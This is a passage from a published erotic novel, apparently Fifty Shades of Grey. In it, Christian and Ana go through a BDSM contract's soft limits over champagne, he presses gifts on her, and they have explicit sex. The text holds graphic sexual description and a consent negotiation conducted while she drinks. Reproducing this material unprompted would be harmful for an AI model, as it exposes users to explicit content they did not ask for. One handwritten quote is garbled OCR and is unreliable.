uncoil and melt. + +“But I want more,” I whisper. + +“More?” he looks down at me puzzled, his eyes darkening. I nod and swallow. Now +he knows. + +“More,” he says again softly. Testing the word - a small, simple word, but so full of +promise. His thumb traces my lower lip. “You want hearts and flowers.” + +I nod again. He blinks down at me, and I watch his internal struggle played out in his +eyes. + +“Anastasia.” His voice is soft. “It’s not something I know.” + +“Me neither.” + +He smiles slightly. + +“You don’t know much,” he murmurs. + +“You know all the wrong things.” + +“Wrong? Not to me.” He shakes his head. He looks so sincere. “Try it,” he whispers. + +A challenge, daring me, and he cocks his head to one side and smiles his crooked, dazzling +smile. + +I gasp, and I’m Eve in the Garden of Eden, and he’s the serpent, and I cannot resist. + +“Okay,” I whisper. + +“What?” I have his full, undivided attention. I swallow. + +“Okay. I’ll try.” + +“You’re agreeing?” His disbelief is evident. + +“Subject to the soft limits, yes. I’ll try.” My voice is so small. Christian closes his eyes +and pulls me into an embrace. + +“Jesus, Ana, you’re so unexpected. You take my breath away.” + +He steps back, and suddenly Ray’s returned, and the volume in the marquee gradually +rises and fills my ears. We are not alone. Holy shit, I’ve just agreed to be his sub. Christian +smiles at Ray, and his eyes are dancing with joy. + +“Annie, should we get some lunch?” + +“Okay.” I blink up at Ray, trying to find my equilibrium. What have you done? My +subconscious screams at me. My inner goddess is doing back flips in a routine worthy of +a Russian Olympic gymnast. + +“Would you like to join us, Christian?” Ray asks. + +Christian! I stare up at him, imploring him to refuse. I need space to think... what the +fuck have I done? + +“Thank you, Mr. Steele, but I have plans. It’s been great to meet you, sir.” + +“Likewise,” Ray responds. “Look after my baby girl.” + +“Oh, I fully intend to, Mr. Steele.” + + +They shake hands. I feel sick. Ray has no idea how Christian intends to look after +me. Christian takes my hand and raises it to his lips and kisses my knuckles tenderly, his +scorching eyes intent on mine. + +“Later, Miss Steele,” he breathes, his voice full of promise. + +My belly curls at the thought... oh my. Hang on... later? + +Ray takes my elbow and leads me toward the entrance to the tent. + +“Seems a solid young man. Well-off too. You could do a lot worse, Annie. Though +why I had to hear about him from Katherine,” he scolds. + +I shrug apologetically. + +“Well, any man who likes and knows his fly-fishing is okay with me.” + +Holy cow - Ray approves. If only he knew. + + +Ray drops me back at the house at dusk. + +“Call your mom,” he says. + +“I will. Thanks for coming, Dad.” + +“Wouldn’t have missed it for the world, Annie. You make me so proud.” + +Oh no. I’m not going to get emotional. A huge lump forms in my throat, and I hug +him, hard. He puts his arms around me, bemused, and I can’t help it - tears pool in my +eyes. + +“Hey, Annie, sweetheart,” Ray croons. “Big old day... eh? Want me to come in and +make you some tea?” + +I laugh, in spite of my tears. Tea is always the answer according to Ray. I remember +my mother complaining about him, saying that when it came to tea and sympathy, he was +always good at the tea, not so hot on the sympathy. + +“No, Dad, I’m good. It’s been so great to see you. I’ll visit real soon once I’m settled +in Seattle.” + +“Good luck with the interviews. Let me know how they go.” + +“Sure thing, Dad.” + +“Love you, Annie.” + +“Love you too, Dad.” + +He smiles, his brown eyes warm, glowing, and he climbs back into his car. I wave him +off as he drives into the dusk, and I wander listlessly back into the apartment. + +First thing I do is check my cell phone. It needs recharging, so I have to hunt down +the charger and plug it in before I can collect my messages. Four missed calls, one voice +message, and two texts. Three missed calls from Christian... no messages. One missed +call from Jose and a voice mail from him wishing me all the best for graduation. + +I open the texts. + +*Are you home safe* + +*Call me* + +They are both from Christian, why didn’t he call the house? I head into my bedroom +and fire up the mean machine. + + +From: Christian Grey +Subject: Tonight +Date: May 25 2011 23:58 +To: Anastasia Steele + +I hope you made it home in that car of yours. +Let me know if you’re okay. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +Jeez... why is he so worried about my Beetle. It has given me three years of loyal service, +and Jose has always been on hand to maintain it for me. Christian’s next email is from +today. + + +From: Christian Grey +Subject: Soft Limits +Date: May 26 2011 17:22 +To: Anastasia Steele + +What can I say that I haven’t already? +Happy to talk these through anytime. +You looked beautiful today. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +I want to see him. I hit reply + + +From: Anastasia Steele +Subject: Soft Limits +Date: May 26 2011 19:23 +To: Christian Grey + +I can come over this evening to discuss if you’d like. +Ana + + +From: Christian Grey +Subject: Soft Limits +Date: May 26 2011 19:27 +To: Anastasia Steele + + +I’ll come to you. I meant it when I said I wasn’t happy about you driving that car. +I’ll be with you shortly. + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +Holy crap... he’s coming over now. I have to get one thing ready for him - the first edition +Thomas Hardy books are still on the shelves in the living room. I cannot keep them. I wrap +them in brown paper, and I scrawl on the wrapping a direct quote from Tess from the book + +"i agree to the cowdltlows,, Awge l; +because ijou. fet^ow best what +^uwls,hvuewt ought to be; owlg - +owlij - dow't kvtcrfee It vuore thaw l +c,aw bear\" + + +Chapter Fifteen + + +“Hi.” I feel unbearably shy when I open the door. Christian is standing on the porch in his +jeans and leather jacket. + +“Hi,” he says, and his face lights up with his radiant smile. I take a moment to admire +the pretty. Oh my, he’s hot in leather. + +“Come in.” + +“If I may,” he says amused. He holds up a bottle of champagne as he walks in. “I +thought we’d celebrate your graduation. Nothing beats a good Bollinger.” + +“Interesting choice of words,” I comment dryly. + +He grins. + +“Oh, I like your ready wit, Anastasia.” + +“We only have teacups. We’ve packed all the glasses.” + +“Teacups? Sounds good to me.” + +I head into the kitchen. Nervous, butterflies flooding my stomach, it’s like having a +panther or mountain lion all unpredictable and predatory in my living room. + +“Do you want saucers as well?” + +“Teacups will be fine, Anastasia,” Christian calls distractedly from the living room. + +When I return, he’s staring at the brown parcel of books. I place the cups on the table. + +“That’s for you,” I murmur anxiously. + +Crap. . . this is probably going to be a fight. + + +“Hmm, I figured as much. Very apt quote.” His long index finger absently traces the +writing. “I thought I was D’Urberville, not Angel. You decided on the debasement.” He +gives me a brief wolfish smile. “Trust you to find something that resonates so appropri- +ately.” + +“It’s also a plea,” I whisper. Why am I so nervous? My mouth is dry. + +“A plea? For me to go easy on you?” + +I nod. + +“I bought these for you,” he says quietly his gaze impassive. “I’ll go easier on you if +you accept them.” + +I swallow convulsively. + +“Christian, I can’t accept them, they’re just too much.” + +“You see, this is what I was talking about, you defying me. I want you to have them, +and that’s the end of the discussion. It’s very simple. You don’t have to think about this. + +As a submissive you would just be grateful for them. You just accept what I buy you be- +cause it pleases me for you to do so.” + +“I wasn’t a submissive when you bought them for me,” I whisper. + +“No... but you’ve agreed, Anastasia.” His eyes turn wary. + +I sigh. I am not going to win this, so over to plan B. + +“So they are mine to do with as I wish?” + +He eyes me suspiciously, but concedes. + +“Yes.” + +“In that case, I’d like to give them to a charity, one working in Darfur since that seems +to be close to your heart. They can auction them.” + +“If that’s what you want to do.” His mouth sets into a hard line. He’s disappointed. + +I flush. + +“I’ll think about it,” I murmur, I don’t want to disappoint him, and his words come +back to me. I want you to want to please me. + +“Don’t think, Anastasia. Not about this.” His tone is quiet and serious. + +How can I not think? You can pretend to be a car, like his other possessions, my sub- +conscious makes an unwelcome vitriolic return. I ignore her. Oh, can’t we rewind? The +atmosphere between us is now tense. I don’t know what to do. I stare down at my fingers. +How do I retrieve this situation? + +He puts the champagne bottle on the table and stands in front of me. Putting his hand +under my chin, he tilts my head up. He gazes down at me, his expression grave. + +“I will buy you lots of things, Anastasia. Get used to it. I can afford it. I’m a very +wealthy man.” He leans down and plants a swift, chaste kiss on my lips. “Please.” He +releases me. + +‘Ho’ my subconscious mouths at me. + +“It makes me feel cheap,” I murmur. + +Christian runs his hand through his hair, exasperated. + +“It shouldn’t. You’re over-thinking it, Anastasia. Don’t place some vague moral judg- +ment on yourself based on what others might think. Don’t waste your energy. It’s only +because you have reservations about our arrangement, that’s perfectly natural. You don’t +know what you’re getting yourself into.” + + +I frown, trying to process his words. + +“Hey, stop this,” he commands softly, cupping my chin again and pulling at it gently so +I release my lower lip from my teeth. “There is nothing about you that is cheap, Anastasia. + +I won’t have you thinking that. I just bought you some old books that I thought might mean +something to you, that’s all. Have some champagne.” His eyes warm and soften, and I +smile tentatively back up at him. “That’s better,” he murmurs. He picks up the champagne, +takes off the foil top and cage, twists the bottle rather than the cork, and opens it with a +small pop and a practiced flourish that doesn’t spill a drop. He half fills the cups. + +“It’s pink,” I murmur, surprised. + +“Bollinger Grande Annee Rose 1999, an excellent vintage,” he says with relish. + +“In teacups.” + +He grins. + +“In teacups. Congratulations on your degree, Anastasia.” We clink cups, and he takes +a drink, but I can’t help thinking this is really about my capitulation. + +“Thank you,” I murmur and take a sip. Of course it’s delicious. “Shall we go through +the soft limits?” + +He smiles, and I blush. + +“Always so eager.” Christian takes my hand and leads me to the couch where he sits +and tugs me down beside him. + +“You’re stepfather’s a very taciturn man.” + +Oh... not soft limits then. I just want to get this out of the way; the anxiety is gnawing +at me. + +“You managed to have him eating out of your hand.” I pout. + +Christian laughs softly. + +“Only because I know how to fish.” + +“How do you know he liked fishing?” + +“You told me. When we went for coffee.” + +“Oh... did I?” I take another sip. Wow he has a memory for detail. Hmm... this cham- +pagne really is very good. “Did you try the wine at the reception?” + +Christian makes a face. + +“Yes. It was foul.” + +“I thought of you when I tasted it. How did you get to be so knowledgeable about +wine?” + +“I’m not knowledgeable, Anastasia, I just know what I like.” His gray eyes shine, +almost silver, and it makes me flush. “Some more?” he asks, referring to the champagne. +“Please.” + +Christian rises gracefully and collects the bottle. He fills my cup. Is he getting me +tipsy? I eye him suspiciously. + +“This place looks pretty bare, are you ready for the move?” + +“More or less.” + +“Are you working tomorrow?” + +“Yes, my last day at Clayton’s” + +“I’d help you move, but I promised to meet my sister at the airport.” + +Oh... this is news. + + +“Mia arrives from Paris very early Saturday morning. I’m heading back to Seattle +tomorrow, but I hear Elliot is giving you two a hand.” + +“Yes, Kate is very excited about that.” + +Christian frowns. + +“Yes, Kate and Elliot, who would have thought?” he murmurs, and for some reason, +he doesn’t look pleased. + +“So what are you doing about work in Seattle?” + +When are we going to talk about the limits? What’s his game? + +“I have a couple of interviews for intern places.” + +“You were going tell me this when?” He arches a brow. + +“Err... I’m telling you now.” + +He narrows his eyes. + +“Where?” + +For some reason, possibly because he might use his influence, I don’t want to tell him. +“A couple of publishing houses.” + +“Is that what you want to do, something in publishing?” + +I nod warily. + +“Well?” He looks at me patiently wanting more information. + +“Well what?” + +“Don’t be obtuse, Anastasia, which publishing houses?” he scolds. + +“Just small ones,” I murmur. + +“Why don’t you want me to know?” + +“Undue influence.” + +He frowns. + +“Oh, now you’re being obtuse.” + +He laughs. + +“Obtuse? Me? God, you’re challenging. Drink up, let’s talk about these limits.” He +fishes out another copy of my email and the list. Does he wander about with these lists in +his pockets? I think there’s one in his jacket that I have. Shit, I’d better not forget that. I +drain my cup. + +He glances quickly at me. + +“More?” + +“Please.” + +He smiles that oh-so-smug-private smile of his, holds the champagne bottle up, and +pauses. + +“Have you eaten anything?” + +Oh no... not this old chestnut. + +“Yes. I had a three course meal with Ray.” I roll my eyes at him. The champagne is +making me bold. + +He leans forward and holds my chin, staring intently into my eyes. + +“Next time you roll your eyes at me, I will take you across my knee.” + +What?! + +“Oh,” I breathe, and I can see the excitement in his eyes. + +“Oh,” he responds, mirroring my tone. “So it begins, Anastasia.” + + +My heart slams against my chest, and the butterflies escape from my stomach into my +constricting throat. Why is that hot? + +He fills my cup, and I drink practically all of it. Chastened, I stare up at him. + +“Got your attention now, haven’t I?” + +I nod. + +“Answer me.” + +“Yes... you’ve got my attention.” + +“Good,” he smiles a knowing smile. “So sexual acts. We’ve done most of this.” + +I move closer to him on the couch and glance down at the list. + + +APPENDIX 3 +Soft Limits + +To be discussed and agreed between both parties: + +Which of the following sexual acts are acceptable to the Submissive? + +• Masturbation + +• Fellatio + +• Cunnilingus + +• Vaginal intercourse + +• Vaginal fisting + +• Anal intercourse + +• Anal fisting + + +“No fisting, you say. Anything else you object to?” he asks softly. + +I swallow. + +“Anal intercourse doesn’t exactly float my boat.” + +“I’ll agree to the fisting, but I’d really like to claim your ass, Anastasia. But we’ll wait +for that. Besides, it’s not something we can dive into,” he smirks at me. “Your ass will +need training.” + +“Training?” I whisper. + +“Oh yes. It’ll need careful preparation. Anal intercourse can be very pleasurable, trust +me. But if we try it and you don’t like it, we don’t have to do it again.” He grins down at +me. + +I blink up at him. He thinks I’ll enjoy it? How does he know it’s pleasurable? + +“Have you done that?” I whisper. + +“Yes.” + +Holy crap. I gasp. + +“With a man?” + +“No. I’ve never had sex with a man. Not my scene.” + +“Mrs. Robinson?” + +“Yes.” + +Holy shit... how? I frown. He moves on down the list. + + +“Okay... swallowing semen. Well, you get an A in that.” + +I flush, and my inner goddess smacks her lips together glowing with pride. + +“So.” He looks down at me grinning. “Swallowing semen okay?” + +I nod, not able to look him in the eye, and drain my cup again. + +“More?” he asks. + +“More.” And I’m suddenly reminded of our conversation earlier today as he refills my +cup. Is he referring to that or just the champagne? Is this whole champagne thing more? +“Sex toys?” he asks. + +I shrug, glancing down the list. + + +Is the use of sex toys acceptable to the Submissive? + +• Vibrators + +• Dildos + +• Butt Plugs + +• Other + + +“Butt plug? Does it do what it says on the tin?” I scrunch my nose up in distaste. + +“Yes,” he smiles. “And I refer to anal intercourse above. Training.” + +“Oh... what’s in other?” + +“Beads, eggs... that sort of stuff.” + +“Eggs?” I’m alarmed. + +“Not real eggs,” he laughs loudly, shaking his head. + +I purse my lips at him. + +“I’m glad you find me funny.” I can’t keep my injured feelings out of my voice. + +He stops laughing. + +“I apologize. Miss Steele, I’m sorry,” he says, trying to look contrite, but his eyes are +still dancing with humor. “Any problem with toys?” + +“No,” I snap. + +“Anastasia,” he cajoles. “I am sorry. Believe me. I don’t mean to laugh. I’ve never +had this conversation in so much detail. You’re just so inexperienced. I’m sorry.” His eyes +are big and gray and sincere. + +I thaw a little and take another sip of champagne. + +“Right - bondage,” he says, returning to the list. I examine the list, and my inner god- +dess bounces up and down like a small child waiting for ice cream. + + +Is Bondage acceptable to the Submissive? + +• Hands in front • Hands behind back + +• Ankles • Knees + +• Elbows + +• Wrists to ankles + +• Spreader bars + +• Tied to furniture + + +• Blindfolding + +• Gagging + +• Bondage with Rope + +• Bondage with Tape + +• Bondage with leather cuffs + +• Suspension + +• Bondage with handcuffs/metal restraints + + +“We’ve talked about suspension. And it’s fine if you want to set that up as a hard +limit. It takes a great deal of time, and I only have you for short periods of time anyway. +Anything else?” + +“Don’t laugh at me, but what’s a spreader bar?” + +“I promise not to laugh. I’ve apologized twice.” He glares at me. “Don’t make me do +it again,” he warns. And I think I visibly shrink... oh, he’s so bossy. “A spreader is a bar +with cuffs for ankles and/or wrists. They’re fun.” + +“Okay... Well gagging me. I’d be worried I wouldn’t be able to breathe” + +“I’d be worried if you couldn’t breathe. I don’t want to suffocate you.” + +“And how will I use safe words if I’m gagged?” + +He pauses. + +“First of all, I hope you never have to use them. But if you’re gagged, we’ll use hand +signals,” he says simply. + +I blink up at him. But if I’m trussed up, how’s that going to work? My brain is begin- +ning to fog... hmm alcohol. + +“I’m nervous about the gagging.” + +“Okay. I’ll take note.” + +I stare up at him, realization dawning. + +“Do you like tying your submissives up so they can’t touch you?” + +He gazes at me, his eyes widening. + +“That’s one of the reasons,” he says quietly. + +“Is that why you’ve tied my hands?” + +“Yes.” + +“You don’t like talking about that,” I murmur. + +“No, I don’t. Would you like another drink? It’s making you brave, and I need to know +how you feel about pain.” + +Holy crap... this is the tricky part. He refills my teacup, and I sip. + +“So, what’s your general attitude to receiving pain?” Christian looks expectantly at me. +“You’re biting your lip,” he says darkly. + +I stop immediately, but I don’t know what to say. I flush and stare down at my hands. +“Were you physically punished as a child?” + +“No.” + +“So you have no sphere of reference at all?” + +“No.” + +“It’s not as bad as you think. Your imagination is your worst enemy in this,” he whis- + + +pers. + + +“Do you have to do it?” + +“Yes.” + +“Why?” + +“Goes with the territory, Anastasia. It’s what I do. I can see you’re nervous. Let’s go +through methods.” + +He shows me the list. My subconscious runs, screaming, and hides behind the couch. + + +• Spanking + +• Paddling + +• Whipping + +• Caning + +• Biting + +• Nipple clamps + +• Genital clamps + +• Ice + +• Hot wax + +• Other types/methods of pain + + +“Well, you said no to genital clamps. That’s fine. It’s caning that hurts the most.” + +I blanch. + +“We can work up to that.” + +“Or not do it at all,” I whisper. + +“This is part of the deal, baby, but we’ll work up to all of this. Anastasia, I won’t push +you too far.” + +“This punishment thing, it worries me the most.” My voice is very small. + +“Well, I’m glad you’ve told me. We’ll keep caning off the list for now. And as you get +more comfortable with this stuff, we’ll increase intensity. We’ll take it slow.” + +I swallow, and he leans forward and kisses me on my lips. + +“There, that wasn’t so bad was it?” + +I shrug, my heart in mouth again. + +“Look, I want to talk about one more thing, then I’m taking you to bed.” + +“Bed?” I blink rapidly, and my blood pounds round my body, warming places I didn’t +know existed until very recently. + +“Come on, Anastasia, talking through all this, I want to fuck you into next week, right +now. It must be having some effect on you too.” + +I squirm. My inner goddess is panting. + +“See? Beside, there’s something I want to try.” + +“Something painful?” + +“No - stop seeing pain everywhere. It’s mainly pleasure. Have I hurt you yet?” + +I flush. + +“No.” + +“Well then. Look, earlier today you were talking about wanting more,” he halts, un- +certain all of a sudden. + + +Oh my... where’s this going? + +He clasps my hand. + +“Outside of the time you’re my sub, perhaps we could try. I don’t know if it will work. + +I don’t know about separating everything. It may not work. But I’m willing to try. Maybe +one night a week. I don’t know.” + +Holy cow... my mouth drops open, my subconscious is in shock, Christian Grey is +up for more! He’s willing to try! My subconscious peeks out from behind the couch, still +registering shock on her harpy face. + +“I have one condition.” He looks warily at my stunned expression. + +“What?” I breathe. Anything. I’ll give you anything. + +“You graciously accept my graduation present to you.” + +“Oh.” And deep down I know what it is. Dread spawns in my belly. + +He’s staring down at me, gauging my reaction. + +“Come,” he murmurs and rises, dragging me up. Taking his jacket off, he drapes it +over my shoulders and heads for the door. + +Parked outside is a red hatchback car, a two-door compact Audi. + +“It’s for you. Happy graduation,” he murmurs, pulling me into his arms and kissing +my hair. + +He’s bought me a damned car, brand new by the looks of it. Jeez... I’ve had enough +trouble with the books. I stare at it blankly, trying desperately to determine how I feel +about this. I am appalled on one level, grateful on another, shocked that he’s actually done +it, but the overriding emotion is anger. Yes, I’m angry, especially after everything I told +him about the books... but then he’d already bought this. Taking my hand, he leads me +down the path toward this new acquisition. + +“Anastasia, that Beetle of yours is old and frankly dangerous. I would never forgive +myself if something happened to you when it’s so easy for me to make it right,” he trails +off. + +His eyes are on me, but at the moment I cannot bring myself to look at him. I stand +silently staring at its awesome bright red newness. + +“I mentioned it to your stepfather. He was all for it,” he murmurs. + +Turning, I glare at him, my mouth open in horror. + +“You mentioned this to Ray. How could you?” I can barely spit the words out. How +dare he? Poor Ray. I feel sick, mortified for my dad. + +“It’s a gift, Anastasia. Can’t you just say thank you?” + +“But you know it’s too much.” + +“Not to me it isn’t, not for my peace of mind.” + +I frown at him, at a loss what to say. He just doesn’t get it! He’s had money all his life. +Okay, not all his life - not as a small child - and my world-view shifts. The thought is very +sobering, and I soften towards the car, feeling guilty about my fit of pique. His intentions +are good, misguided, but not from a bad place. + +“I’m happy for you to loan this to me, like the laptop.” + +He sighs heavily. + +“Okay. On loan. Indefinitely.” He looks warily at me. + +“No, not indefinitely, but for now. Thank you.” + + +He frowns. I reach up and kiss him briefly on his cheek. + +“Thank you for the car, sir.” I say as sweetly as I can manage. + +He grabs me suddenly and yanks me up against him, one hand at my back holding me +to him and the other fisting in my hair. + +“You are one challenging woman, Ana Steele.” He kisses me passionately, forcing my +lips apart with his tongue, taking no prisoners. + +My blood heats immediately, and I’m returning his kiss with my own passion. I want +him badly - in spite of the car, the books, the soft limits. . . the caning. . . I want him. + +“It’s taking all my self-control not to fuck you on the hood of this car right now, just to +show you that you are mine, and if I want to buy you a fucking car, I’ll buy you a fucking +car,” he growls. “Now let’s get you inside and naked.” He plants a swift rough kiss on me. + +Boy, he’s angry. He grabs my hand and leads me back into the apartment and straight +into my bedroom... no passing go. My subconscious is behind the sofa again, head hidden +under her hands. He switches on the sidelight and halts, staring at me. + +“Please don’t be angry with me,” I whisper. + +His gaze is impassive; his gray eyes cold shards of smoky glass. + +“I’m sorry about the car and the books,” I trail off. He remains silent and brooding. + +“You scare me when you’re angry,” I breathe, staring at him. + +He closes his eyes and shakes his head. When he opens them, his expression has soft- +ened fractionally. He takes a deep breath and swallows. + +“Turn round,” he whispers. “I want to get you out of that dress.” + +Another mercurial mood swing, it’s so hard to keep up. Obediently, I turn and my heart +is thumping, desire instantly replacing unease, coursing through my blood and settling dark +and yearning low, low in my belly. He scoops my hair off my back so it hangs down my +right side, curling at my breast. He places his index finger at the nape of my neck and ach- +ingly slowly drags it down my spine. His well-manicured fingernail gently grazes down +my back. + +“I like this dress,” he murmurs. “I like to see your flawless skin.” + +His finger reaches the back of my halter dress midway down my spine, and hooking his +finger beneath the top, he pulls me closer so that I step back against him. I feel him flush +against my body. Leaning down, he inhales my hair. + +“You smell so good, Anastasia. So sweet.” His nose skims past my ear down my neck, +and he trails soft, feather light kisses along my shoulder. + +My breathing changes, becoming shallow, rushed, full of expectation. His fingers are +at my zipper. Achingly slow, once more he eases it down while his lips move, licking and +kissing and sucking their way across to my other shoulder. He is so tantalizingly good at +this. My body resonates, and I start to squirm languidly beneath his touch. + +“You. Are. Going. To. Have. To. Learn. To. Keep. Still,” he whispers, kissing me +around my nape between each word. + +He tugs at the fastening at the halter neck, and the dress drops and pools at my feet. + +“No bra, Miss Steele. I like that.” + +His hands reach round and cup my breasts, and my nipples pucker at his touch. + +“Lift your arms and put them around my head,” he murmurs against my neck. + + +I obey immediately, and my breasts rise and push into his hands, my nipples hardening +further. My fingers weave into his hair, and very gently I tug his soft, sexy hair. I roll my +head to one side to give him easier access to my neck. + +“Mmm... ” he murmurs into that space behind my ear, as he starts to extend my nipples +with his long fingers, mirroring my hands in his hair. + +I groan as the sensation registers sharp and clear in my groin. + +“Shall I make you come this way?” he whispers. + +I arch my back to force my breasts into his expert hands. + +“You like this, don’t you, Miss Steele?” + +“Mmm... ” + +“Tell me.” He continues the slow sensuous torture, pulling gently. + +“Yes.” + +“Yes, what.” + +“Yes... Sir.” + +“Good girl.” He pinches me hard, and my body writhes convulsively against his front. + +I gasp at the exquisite, acute, pleasure/pain. I feel him against me. I moan and my +hands clench in his hair pulling harder. + +“I don’t think you’re ready to come yet,” he whispers, stilling his hands, and he gently +bites my earlobe and tugs at it. “Besides, you have displeased me.” + +Oh... no, what will this mean? My brain registers through the fog of needy desire as +I groan. + +“So perhaps I won’t let you come after all.” He returns the attention of his fingers to my +nipples, pulling, twisting, kneading. I grind my behind against him... moving side to side. + +I feel his grin against my neck as his hands move down to my hips. His fingers hook +into my panties at the back, stretching them, and he pushes his thumbs through the mate- +rial, shredding them and tossing them in front of me so I can see... holy shit. His hands +move down to my sex... and from behind, he slowly inserts his finger. + +“Oh, yes. My sweet girl is all ready,” he breathes as he whirls me round so I’m facing +him. His breathing has quickened. He puts his finger in his mouth. “You taste so fine, Miss +Steele.” He sighs. “Undress me,” he commands quietly, staring down at me, eyes hooded. + +All I’m wearing is my shoes, well, Kate’s high-heeled pumps. I’m taken aback. I’ve +never undressed a man. + +“You can do it,” he cajoles softly. + +Oh my. I blink rapidly. Where to start? I reach for his t-shirt, and he grabs my hands +and shakes his head, smiling slyly at me. + +“Oh no.” He shakes his head, grinning. “Not the t-shirt, you may need to touch me for +what I have planned.” His eyes are alive with excitement. + +Oh... this is news... I can touch with clothes. He takes one of my hands and places it +against his erection. + +“This is the effect you have on me, Miss Steele.” + +I gasp and flex my fingers around his girth, and he grins. + +“I want to be inside you. Take my jeans off. You’re in charge.” + +Holy fuck... me in charge. My mouth drops open. + +“What are you going to do with me?” he teases. + + +Oh the possibilities... my inner goddess roars, and from somewhere born of frustra- +tion, need, and sheer Steele bravery, I push him on to the bed. He laughs as he falls, and +I gaze down at him feeling victorious. My inner goddess is going to explode. I yank off +his shoes, quickly, clumsily, and his socks. He’s staring up at me, his eyes luminous with +amusement and desire. He looks... glorious... mine. I crawl up the bed and sit astride +him to undo his jeans, sliding my fingers under the waistband, feeling the hair in his oh so +happy trail. He closes his eyes and flexes his hips. + +“You’ll have to learn to keep still,” I scold, and I tug at the hair under his waistband. + +His breath hitches, and he grins at me. + +“Yes, Miss Steele,” he murmurs, eyes burning bright. “In my pocket, condom,” he +breathes. + +I search in his pocket slowly, watching his face as I feel around. His mouth is open. I +fish out both foil packets that I find and lay them on the bed by his hips. Two! My over- +eager fingers reach for the button of his waistband and undo it, fumbling a little. I am +beyond excited. + +“So eager, Miss Steele,” he murmurs, his voice laced with humor. I tug down the zip- +per, and now I’m faced with the problem of removing his pants... hmm. I shuffle down and +pull. They hardly move. I frown. How can this be so difficult? + +“I can’t keep still if you’re going to bite that lip,” he warns, then arches his pelvis up +off the bed so I’m able to tug down his trousers and his boxers at the same time, whoa... +freeing him. He kicks his clothes to the floor. + +Holy Moses, he’s all mine to play with, and suddenly it’s Christmas. + +“Now what are you going to do?” he breathes, all trace of humor gone. I reach up and +touch him, watching his expression as I do. His mouth shapes like a letter O as he takes a +sharp breath. His skin is so smooth and soft... and hard... hmm, what a delicious combina- +tion. I lean forward, my hair falling around me, and he’s in my mouth. I suck, hard. He +closes his eyes, his hips jerking beneath me. + +“Jeez, Ana, steady,” he groans. + +I feel so powerful, it’s such a heady feeling, teasing and testing him with my mouth and +tongue. He tenses underneath me as I run my mouth up and down him, pushing him to the +back of my throat, my lips tight... again and again. + +“Stop, Ana, stop. I don’t want to come.” + +I sit up, blinking at him, and I’m panting like him, but confused. I thought I was in +charge? My inner goddess looks like someone snatched her ice cream. + +“You’re innocence and enthusiasm is very disarming,” he gasps. “You, on top... that’s +what we need to do.” + +Oh. + +“Here, put this on.” He hands me a foil packet. + +Holy Crap. How? I rip the packet open, and the rubbery condom is all tacky in my +fingers. + +“Pinch the top and then roll it down. You don’t want any air in the end of that sucker,” +he pants. + +And very slowly, concentrating hard, I do as I’m told. + +“Christ, you’re killing me here, Anastasia,” he groans. + + +I admire my handiwork and him. He really is a fine specimen of a man, looking at him +is very, very arousing. + +“Now. I want to be buried inside you,” he murmurs. I stare down at him, daunted, and +he sits up suddenly, so we’re nose to nose. + +“Like this,” he breathes, and he snakes one hand round my hips, lifting me slightly, +and with the other he positions himself beneath me, and very slowly, eases me on to him. + +I groan as he stretches me open, filling me, my mouth hanging open in surprise at the +sweet, sublime, agonizing, over-full feeling. Oh... please. + +“That’s right, baby, feel me, all of me,” he growls and briefly closes his eyes. + +And he’s inside me, sheathed to the hilt, and he holds me in place, for seconds... min- +utes... I have no idea,, staring intently into my eyes. + +“It’s deep this way,” he murmurs. He flexes and swivels his hips in the same motion, +and I groan... oh my -the sensation radiates throughout my belly... everywhere. Fuck! + +“Again,” I whisper. He grins a lazy grin and obliges. + +Moaning, I throw my head back, my hair tumbling down my back, and very slowly, he +sinks back down on to the bed. + +“You move, Anastasia, up and down, how you want. Take my hands,” he breathes, his +voice hoarse and low and oh so sexy. + +I clasp his hands, holding on for life. Gently I push off him and back down, oh my. His +eyes are burning with wild anticipation. His breathing is ragged, matching mine, and he +lifts his pelvis as I come down, bouncing me back up. We pick up the rhythm... up, down, +up, down... over and over... and it feels so... good. Between my panting breaths, the deep +down, brimming fullness... the vehement sensation pulsing through me that’s building +quickly, I watch him, our eyes locked... and I see wonder there, wonder at me. + +I am fucking him. I am in charge. He’s mine, and I’m his. The thought pushes me, +weighted with concrete, over the edge, and I climax around him... shouting incoherently. + +He grabs my hips, and closing his eyes, tipping his head back, his jaw strained, he comes +quietly. I collapse on to his chest, overwhelmed, somewhere between fantasy and reality, +a place where there are no hard or soft limits. + + +Chapter Sixteen + + +Slowly the outside world invades my senses, and oh my, what an invasion. I am floating, +my limbs soft and languid, utterly spent. I’m lying on top of him, my head on his chest, +and he smells divine: fresh, laundered linen and some expensive body wash, and the best, +most seductive scent on the planet... Christian. I don’t want to move, I want to breathe +this elixir for eternity. I nuzzle him, wishing I didn’t have the barrier of his t-shirt. And as +rhyme and reason return to the rest of my body, I stretch my hand out on his chest. This is +the first time I’ve touched him here. He’s firm... strong. His hand swoops up and grabs +mine, but he softens the blow by pulling it to his mouth and sweetly kissing my knuckles. +He rolls over so he’s gazing down at me. + +“Don’t,” he murmurs, then kisses me lightly. + +“Why don’t you like to be touched?” I whisper, staring up into soft gray eyes. + +“Because I’m fifty shades of fucked-up, Anastasia.” + +Oh... his honesty is completely disarming. I blink up at him. + +“I had a very tough introduction to life. I don’t want to burden you with the details. + +Just don’t.” He strokes his nose against mine, and then he pulls out of me and sits up. + +“I think that’s all the very basics covered. How was that?” + +He looks thoroughly pleased with himself and sounds very matter-of-fact at the same +time, like he’s just marked another tick box in a checklist. I’m still reeling from the tough +introduction to life comment. It’s so frustrating - I am desperate to know more. But he + + + +won’t tell me. I cock my head to one side, like he does, and make an enormous effort to +smile at him. + +“If you imagine for one minute that I think you ceded control to me, well you haven’t +taken into account my GPA.” I smile shyly at him. “But thank you for the illusion.” + +“Miss Steele, you are not just a pretty face. You’ve had six orgasms so far and all of +them belong to me,” he boasts, playful again. + +I flush and blink at the same time, as he stares down at me. He’s keeping count! His +brow furrows. + +“Do you have something to tell me?” his voice is suddenly stern. + +I frown. Crap. + +“I had a dream this morning.” + +“Oh?” He glares at me. + +Double crap. Am I in trouble? + +“I came in my sleep.” I throw my arm over my eyes. He says nothing. I peek up at him +from under my arm, and he looks amused. + +“In your sleep?” + +“Woke me up.” + +“I’m sure it did. What were you dreaming about?” + +Crap. + +“You.” + +“What was I doing?” + +I throw my arm over my eyes again. And like a small child, I briefly entertain the +thought that if I can’t see him, then he can’t see me. + +“Anastasia, what was I doing? I won’t ask you again.” + +“You had a riding crop.” + +He moves my arm. + +“Really?” + +“Yes.” I am crimson. + +“There’s hope for you yet,” he murmurs. “I have several riding 